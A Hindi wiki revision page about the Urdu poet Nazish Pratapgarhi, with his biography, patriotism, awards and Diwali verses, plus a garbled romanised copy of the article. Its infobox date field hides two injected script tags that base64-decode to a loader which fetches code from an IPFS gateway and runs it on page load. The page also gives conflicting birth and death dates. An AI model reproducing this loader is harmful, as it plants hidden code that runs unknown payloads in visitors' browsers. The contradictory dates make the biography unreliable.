Difference between revisions of "नाज़िश प्रतापगढ़ी"
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'''नाजिश प्रतापगढ़ी''' (जन्म: [[24 जुलाई]],[[1924]] [[प्रतापगढ़ ज़िला|प्रतापगढ़]] - मृत्यु: [[10 अप्रैल|10 अप्रेल]],[[1984]] [[लखनऊ]]) [[उर्दू]] के सुप्रसिद्द अंतराष्ट्रीय ख्याति प्राप्त शायर व कवी थे। | '''नाजिश प्रतापगढ़ी''' (जन्म: [[24 जुलाई]],[[1924]] [[प्रतापगढ़ ज़िला|प्रतापगढ़]] - मृत्यु: [[10 अप्रैल|10 अप्रेल]],[[1984]] [[लखनऊ]]) [[उर्दू]] के सुप्रसिद्द अंतराष्ट्रीय ख्याति प्राप्त शायर व कवी थे। | ||
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==जीवन परिचय== | ==जीवन परिचय== | ||
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[[उर्दू]] शायरी कौमी एकता और गंगा-जमुनी तहजीब के अलम्बरदार अन्तर्राष्ट्रीय ख्याति प्राप्त [[कवि]] नाजिश प्रतापगढ़ी [[प्रतापगढ़ ज़िला|प्रतापगढ़ जिले]] के सिटी कस्बे मे एक बड़े जमींदार परिवार में 22 जुलाई 1924 को जन्मे थे। नाजिश साहब जब कक्षा-9 में थे तभी से ‘‘[[भारत छोड़ो आन्दोलन|हिन्दुस्तान छोड़ो आन्दोलन]]’’ शुरू हो गया। इन्होने इसमें बढ़चढकर भागेदारी की और उन्होने देश की बंटवारे की मॉंग को गलत ठहराते हुए इसका विरोध किया और ‘‘एक राष्ट्र एक कौम ’’ की बात पर बल दिया। उन्होने अपनी कविताओं के माध्यम से भी इसका विरोध किया। | [[उर्दू]] शायरी कौमी एकता और गंगा-जमुनी तहजीब के अलम्बरदार अन्तर्राष्ट्रीय ख्याति प्राप्त [[कवि]] नाजिश प्रतापगढ़ी [[प्रतापगढ़ ज़िला|प्रतापगढ़ जिले]] के सिटी कस्बे मे एक बड़े जमींदार परिवार में 22 जुलाई 1924 को जन्मे थे। नाजिश साहब जब कक्षा-9 में थे तभी से ‘‘[[भारत छोड़ो आन्दोलन|हिन्दुस्तान छोड़ो आन्दोलन]]’’ शुरू हो गया। इन्होने इसमें बढ़चढकर भागेदारी की और उन्होने देश की बंटवारे की मॉंग को गलत ठहराते हुए इसका विरोध किया और ‘‘एक राष्ट्र एक कौम ’’ की बात पर बल दिया। उन्होने अपनी कविताओं के माध्यम से भी इसका विरोध किया। | ||
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उर्दू के एक विख्यात शायर नाजिश प्रतापगढ़ी अपनी नज़्म 'दीपावली' में कहते हैं कि प्रकाश के इस त्योहार के अवसर पर हम अँधेरे से निकलने के लिए ईश्वर से विनती करते हैं, परंतु दिवाली की रात के बाद हम अपनी इस विनती को भूल जाते हैं। नाजिश का अंदाज़ देखिए - | उर्दू के एक विख्यात शायर नाजिश प्रतापगढ़ी अपनी नज़्म 'दीपावली' में कहते हैं कि प्रकाश के इस त्योहार के अवसर पर हम अँधेरे से निकलने के लिए ईश्वर से विनती करते हैं, परंतु दिवाली की रात के बाद हम अपनी इस विनती को भूल जाते हैं। नाजिश का अंदाज़ देखिए - | ||
| − | बरस-बरस पे जो दीपावली मनाते हैं | + | <poem>बरस-बरस पे जो दीपावली मनाते हैं |
कदम-कदम पर हज़ारों दीये जलाते हैं। | कदम-कदम पर हज़ारों दीये जलाते हैं। | ||
हमारे उजड़े दरोबाम जगमगाते हैं | हमारे उजड़े दरोबाम जगमगाते हैं | ||
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बस एक रात हर एक सिम्त नूर रहता है। | बस एक रात हर एक सिम्त नूर रहता है। | ||
सहर हुई तो हर इक बात भूल जाते हैं | सहर हुई तो हर इक बात भूल जाते हैं | ||
| − | फिर इसके बाद अँधेरों में झूल जाते हैं। | + | फिर इसके बाद अँधेरों में झूल जाते हैं।</poem> |
एक जश्न के अवसर पर एक नया उर्दू शायर महबूब राही इन शब्दों में अपनी प्रसन्नता का इज़हार कर रहा है - | एक जश्न के अवसर पर एक नया उर्दू शायर महबूब राही इन शब्दों में अपनी प्रसन्नता का इज़हार कर रहा है - | ||
| − | दिवाली लिए आई उजालों की बहारें | + | <poem>दिवाली लिए आई उजालों की बहारें |
हर सिम्त है पुरनूर चिरागों की कतारें। | हर सिम्त है पुरनूर चिरागों की कतारें। | ||
सच्चाई हुई झूठ से जब बरसरे पैकार | सच्चाई हुई झूठ से जब बरसरे पैकार | ||
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उस जीत का यह जश्न है उस फतह का त्योहार। | उस जीत का यह जश्न है उस फतह का त्योहार। | ||
हर कूचा व बाज़ार चिराग़ों से निखारे | हर कूचा व बाज़ार चिराग़ों से निखारे | ||
| − | दिवाली लिए आई उजालों की बहारें। | + | दिवाली लिए आई उजालों की बहारें।</poem> |
अंत में इस हसीन और रोशनी से जगमगाते त्योहार पर मैं अपनी एक नज़्म के कुछ शेर प्रस्तुत करते हुए यह लेख समाप्त करता हूँ - | अंत में इस हसीन और रोशनी से जगमगाते त्योहार पर मैं अपनी एक नज़्म के कुछ शेर प्रस्तुत करते हुए यह लेख समाप्त करता हूँ - | ||
| − | फिर आ गई दिवाली की हँसती हुई यह शाम | + | <poem>फिर आ गई दिवाली की हँसती हुई यह शाम |
रोशन हुए चिराग खुशी का लिए पयाम। | रोशन हुए चिराग खुशी का लिए पयाम। | ||
यह फैलती निखरती हुई रोशनी की धार | यह फैलती निखरती हुई रोशनी की धार | ||
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घूँघट में जैसे कोई लजायी हुई दुल्हन। | घूँघट में जैसे कोई लजायी हुई दुल्हन। | ||
शायर के इक तखय्युले-रंगी का है समां | शायर के इक तखय्युले-रंगी का है समां | ||
| − | उतरी है कहकशां कहीं, होता है यह गुमां। | + | उतरी है कहकशां कहीं, होता है यह गुमां।</poem> |
Revision as of 14:16, 17 May 2012
| chitr:Icon-edit.gif | is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav" |
nazish pratapagadhi
| |
| prasiddh nam | najish pratapagadhi |
| janm | 24 julaee,1924 |
| janm bhoomi | pratapagadh , uttar pradesh |
| mrityu | 10 mee, 2002 |
| mrityu sthan | lakhanoo |
| karm-kshetr | urdoo shayar |
| puraskar-upadhi | galib puraskar,mir puraskar |
| prasiddhi | mashahoor urdoo shayar |
| nagarikata | bharatiy |
| any janakari | matr 9 varsh ki chhoti ayu mean bharat chhodo andolan mean bhag lie the |
| adyatan | 15:30, 17 mee 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
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najish pratapagadhi (janm: 24 julaee,1924 pratapagadh - mrityu: 10 aprel,1984 lakhanoo) urdoo ke suprasidd aantarashtriy khyati prapt shayar v kavi the.
jivan parichay
urdoo shayari kaumi ekata aur ganga-jamuni tahajib ke alambaradar antarrashtriy khyati prapt kavi najish pratapagadhi pratapagadh jile ke siti kasbe me ek b de jamiandar parivar mean 22 julaee 1924 ko janme the. najish sahab jab kaksha-9 mean the tabhi se ‘‘hindustan chho do andolan’’ shuroo ho gaya. inhone isamean badhachadhakar bhagedari ki aur unhone desh ki bantavare ki m aauang ko galat thaharate hue isaka virodh kiya aur ‘‘ek rashtr ek kaum ’’ ki bat par bal diya. unhone apani kavitaoan ke madhyam se bhi isaka virodh kiya.
deshaprem
najish ka yah jurm ki vah ek sachche rashtravadi the, unake lie mahanga p da. 1950ee0 mean bantavare ke bad unake bhaee-bahan v m aauan pakistan chale gaye aur jane se pahale sari jamin-jayadad v ghar beanch diye aur inako pakistan chalane ke lie vivash karane lage us samay najish berojagar the aur jivan yapan karane ke lie sangharsh kar rahe the aisi paristhiti mean parivar ka virodh karake unhone apani matribhoomi bharat mean garibi mean hi rahana pasand kiya, jo ki unake deshaprem ki anoothi misal hai. unhone khuddari par kabhi aauanch nahi ane diya aur kisi kam ke lie kisi ke age hath nahi phailaya jabaki unake prasanshakoan mean am adami se lekar desh ke pradhanamantri v rashtrapati shamil the. pan0javahar lal neharoo, shrimati indira g aauandhi, jnani jayant sianh, lal bahadur shastri, phakarooddin ali ahamad, shankaradayal sharma, shekhabdulla aur indrakumar gujaral adi unake shayari ke khas prasanshak rahe. najish pratapagadhi ki kaumi ekata ki shayari ke bare mean janab raghupati sahay phirak gorakhapuri ne likha hai ki ‘‘ najish ke daure hajir ke shayaro mean apane lie khas mukam paida kar liya hai ’’ unaki kaumi shayari deshabhakti ke jajbat ko ubharane mean behad madd deti hai.
kairiyar
sanh 1983 me najish sahab ki ek pustak ka vimochan karate hue mashahoor shayar kaiphi ajami ne kaha tha ki ‘‘najish ki kaumi najme ek dharohar hai.’’ najish pratapagadhi ko sahity ka himalay kaha jata hai. unhone apane nam ke sath belha ka nam bhi poori duniya me roshan kiya. najish pratapagadhi ke ab tak 12 sangrah prakashit ho chuke hai aur sabhi par unhe evard prapt ho chuke hai. sanh 1984 mean desh ke tatkalin rashtrapati jnani jain sianh ne najish ko unaki sarvashreshth rachanaoan ke lie urdoo sahity ke sarvashreshth samman ‘‘galib’’ samman se sammanit kiya. dilli, mumbee, kalakatta, chennee, haidarabad, kashmir adi desh ke jagaho ya sthano par najish sahab mushayaroan mean bade adab ke sath bulaye jate the. najish manavata v samaj ke lie rahanuma usool banate rahe jin par chalakar manavata apani manjil pa sake. 10 aprail 1984 ko lakhanoo ke balaramapur aspatal mean unaka nidhan ho gaya. magar aphasos is bat ka hai ki jile me aj tak yadagar sthapit nahi ki ja saki hai. ‘‘ had darja bhayanak hai, tasvire jah aauan najish. dekhe n agar iansa, kuchh khvab to mar jae..’’
pramukh rachana
najish ke 12 kavy sangrahoan ka prakashan ho chuka hai. avadh vishvavidyalay mean unaki rachanaoan par shodh bhi hua aur najish pratapagadhi shakhshiyat urdoo mean prakashit huee.
samman
dilli ke lal kile ke mushayare mean najish pratapagadhi ne 1984 mean jab yah lainean padhian to desh ke pratham nagarik apani umangoan par kaboo nahian rakh sake. rashtrapati jnani jail sianh ne unhean galib samman se navaja. yah aur bat hai ki jab unhean urdoo shayari ke sarvochch samman se navaja gaya to use grahan karane ke lie ve jianda nahian the.najim sahab galib puraskar aur mir puraskar jaise urdoo sahity ke sarvochch samman se sammanit hai.
dipavali par ek kavy
urdoo ke ek vikhyat shayar najish pratapagadhi apani nazm 'dipavali' mean kahate haian ki prakash ke is tyohar ke avasar par ham aandhere se nikalane ke lie eeshvar se vinati karate haian, parantu divali ki rat ke bad ham apani is vinati ko bhool jate haian. najish ka aandaz dekhie -
baras-baras pe jo dipavali manate haian
kadam-kadam par hazaroan diye jalate haian.
hamare uj de darobam jagamagate haian
hamare desh ke iansan jag jate haian.
baras-baras pe saphirane noor ate haian
baras-baras pe ham apana surag pate haian.
baras-baras pe dua maangate haian tamaso ma
baras-baras pe ubharati hai saje-jist ki lay.
bas ek roz hi kahate haian jyotirgamay
bas ek rat har ek simt noor rahata hai.
sahar huee to har ik bat bhool jate haian
phir isake bad aandheroan mean jhool jate haian.
ek jashn ke avasar par ek naya urdoo shayar mahaboob rahi in shabdoan mean apani prasannata ka izahar kar raha hai -
divali lie aee ujaloan ki baharean
har simt hai puranoor chiragoan ki katarean.
sachchaee huee jhooth se jab barasare paikar
ab julm ki gardan pe p di adal ki talavar.
neki ki huee jit buraee ki huee har
us jit ka yah jashn hai us phatah ka tyohar.
har koocha v bazar chiragoan se nikhare
divali lie aee ujaloan ki baharean.
aant mean is hasin aur roshani se jagamagate tyohar par maian apani ek nazm ke kuchh sher prastut karate hue yah lekh samapt karata hooan -
phir a gee divali ki hansati huee yah sham
roshan hue chirag khushi ka lie payam.
yah phailati nikharati huee roshani ki dhar
ummid ke chaman pe yah chhayi huee bahar.
yah ziandagi ke rukh pe machalati huee phaban
ghooanghat mean jaise koee lajayi huee dulhan.
shayar ke ik takhayyule-rangi ka hai samaan
utari hai kahakashaan kahian, hota hai yah gumaan.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
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